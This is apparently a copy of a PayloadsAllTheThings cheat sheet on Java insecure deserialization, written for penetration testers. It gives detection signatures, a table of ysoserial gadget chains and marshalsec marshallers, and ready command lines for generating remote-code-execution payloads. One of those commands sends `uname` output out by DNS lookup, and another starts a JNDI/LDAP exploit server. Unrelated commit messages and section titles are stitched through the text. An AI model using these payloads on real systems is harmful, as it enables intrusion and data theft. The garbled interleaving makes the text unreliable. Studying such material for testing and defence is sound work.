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PayloadsAllTheThings/Insecure Deserialization/Java.md

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# Java Deserialization
PHP Serialization - phpggc
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## Detection
Oracle SQL
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- `"AC ED 00 05"` in Hex
* `AC ED`: STREAM_MAGIC. Specifies that this is a serialization protocol.
* `00 05`: STREAM_VERSION. The serialization version.
- `"rO0"` in Base64
PHP Serialization - phpggc
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- Content-type = "application/x-java-serialized-object"
Oracle SQL
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- `"H4sIAAAAAAAAAJ"` in gzip(base64)
PHP Serialization - phpggc
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.NET formatters and POP gadgets
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## Tools
### Ysoserial
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YAML Deserialization
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[frohoff/ysoserial](https://github.com/frohoff/ysoserial) : A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
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```java
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java -jar ysoserial.jar CommonsCollections1 calc.exe > commonpayload.bin
java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
.NET formatters and POP gadgets
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java -jar ysoserial.jar Groovy1 'ping 127.0.0.1' > payload.bin
SSRF to XSS + Retail account Windows
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java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname`.[redacted]' | gzip | base64
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```
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**List of payloads included in ysoserial:**
YAML Deserialization
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```ps1
Payload Authors Dependencies
------- ------- ------------
AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0
Clojure @JackOfMostTrades clojure:1.8.0
CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1 @frohoff commons-collections:3.1
CommonsCollections2 @frohoff commons-collections4:4.0
CommonsCollections3 @frohoff commons-collections:3.1
CommonsCollections4 @frohoff commons-collections4:4.0
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
CommonsCollections6 @matthias_kaiser commons-collections:3.1
CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
Groovy1 @frohoff groovy:2.3.9
Hibernate1 @mbechler
Hibernate2 @mbechler
JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRMPClient @mbechler
JRMPListener @mbechler
JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21 @frohoff
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
MozillaRhino1 @matthias_kaiser js:1.7R2
MozillaRhino2 @_tint0 js:1.7R2
Myfaces1 @mbechler
Myfaces2 @mbechler
ROME @mbechler rome:1.0
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
URLDNS @gebl
Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
```
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.NET formatters and POP gadgets
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### Burp extensions using ysoserial
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- [JavaSerialKiller](https://github.com/NetSPI/JavaSerialKiller)
- [Java Deserialization Scanner](https://github.com/federicodotta/Java-Deserialization-Scanner)
- [Burp-ysoserial](https://github.com/summitt/burp-ysoserial)
- [SuperSerial](https://github.com/DirectDefense/SuperSerial)
- [SuperSerial-Active](https://github.com/DirectDefense/SuperSerial-Active)
.NET formatters and POP gadgets
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### Alternative Tooling
Refactoring XSS 0/?
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.NET formatters and POP gadgets
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- [pwntester/JRE8u20_RCE_Gadget](https://github.com/pwntester/JRE8u20_RCE_Gadget)
- [joaomatosf/JexBoss](https://github.com/joaomatosf/jexboss) - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool
- [pimps/ysoserial-modified](https://github.com/pimps/ysoserial-modified)
- [NickstaDB/SerialBrute](https://github.com/NickstaDB/SerialBrute) - Java serialization brute force attack tool
- [NickstaDB/SerializationDumper](https://github.com/NickstaDB/SerializationDumper) - A tool to dump Java serialization streams in a more human readable form
- [bishopfox/gadgetprobe](https://labs.bishopfox.com/gadgetprobe)
IIS MachineKeys + CI/CD + CSPT + ORM leak
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- [k3idii/Deserek](https://github.com/k3idii/Deserek)
```java
java -jar ysoserial.jar URLDNS http://xx.yy > yss_base.bin
python deserek.py yss_base.bin --format python > yss_url.py
python yss_url.py yss_new.bin
java -cp JavaSerializationTestSuite DeSerial yss_new.bin
```
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- [mbechler/marshalsec](https://github.com/mbechler/marshalsec) - Turning your data into code execution
IIS MachineKeys + CI/CD + CSPT + ORM leak
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```java
$ java -cp marshalsec.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
$ java -cp marshalsec.jar marshalsec.JsonIO Groovy "cmd" "/c" "calc"
$ java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://localhost:8000\#exploit.JNDIExploit 1389
// -a - generates/tests all payloads for that marshaller
// -t - runs in test mode, unmarshalling the generated payloads after generating them.
// -v - verbose mode, e.g. also shows the generated payload in test mode.
// gadget_type - Identifier of a specific gadget, if left out will display the available ones for that specific marshaller.
// arguments - Gadget specific arguments
```
Adding marshalsec tool & references Adding marshalsec tool & references
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Payload generators for the following marshallers are included:<br />
| Marshaller | Gadget Impact
| ------------------------------- | ----------------------------------------------
| BlazeDSAMF(0&#124;3&#124;X) | JDK only escalation to Java serialization<br/>various third party libraries RCEs
| Hessian&#124;Burlap | various third party RCEs
| Castor | dependency library RCE
| Jackson | **possible JDK only RCE**, various third party RCEs
| Java | yet another third party RCE
| JsonIO | **JDK only RCE**
| JYAML | **JDK only RCE**
| Kryo | third party RCEs
| KryoAltStrategy | **JDK only RCE**
| Red5AMF(0&#124;3) | **JDK only RCE**
| SnakeYAML | **JDK only RCEs**
| XStream | **JDK only RCEs**
| YAMLBeans | third party RCE
.NET formatters and POP gadgets
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## Gadgets
Require:
* `java.io.Serializable`
Adding marshalsec tool & references Adding marshalsec tool & references
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Adding references sectio
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## References
Markdown formatting update
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- [Github - ysoserial](https://github.com/frohoff/ysoserial)
YAML Deserialization
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- [Triggering a DNS lookup using Java Deserialization - paranoidsoftware.com](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
- [Detecting deserialization bugs with DNS exfiltration - Philippe Arteau | Mar 22, 2017](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
Markdown formatting update
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- [Java-Deserialization-Cheat-Sheet - GrrrDog](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md)
- [Understanding & practicing java deserialization exploits](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
PHP Serialization - phpggc
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- [How i found a 1500$ worth Deserialization vulnerability - @D0rkerDevil](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a)
Update Java.md
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- [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - 14 Aug 2017, Peter Stöckli](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
Adding marshalsec tool & references Adding marshalsec tool & references
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- [Jackson CVE-2019-12384: anatomy of a vulnerability class](https://blog.doyensec.com/2019/07/22/jackson-gadgets.html)
- [On Jackson CVEs: Don’t Panic — Here is what you need to know](https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062#da96)
YAML Deserialization
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- [Pre-auth RCE in ForgeRock OpenAM (CVE-2021-35464) - Michael Stepankin / @artsploit - 29 June 2021](https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464)
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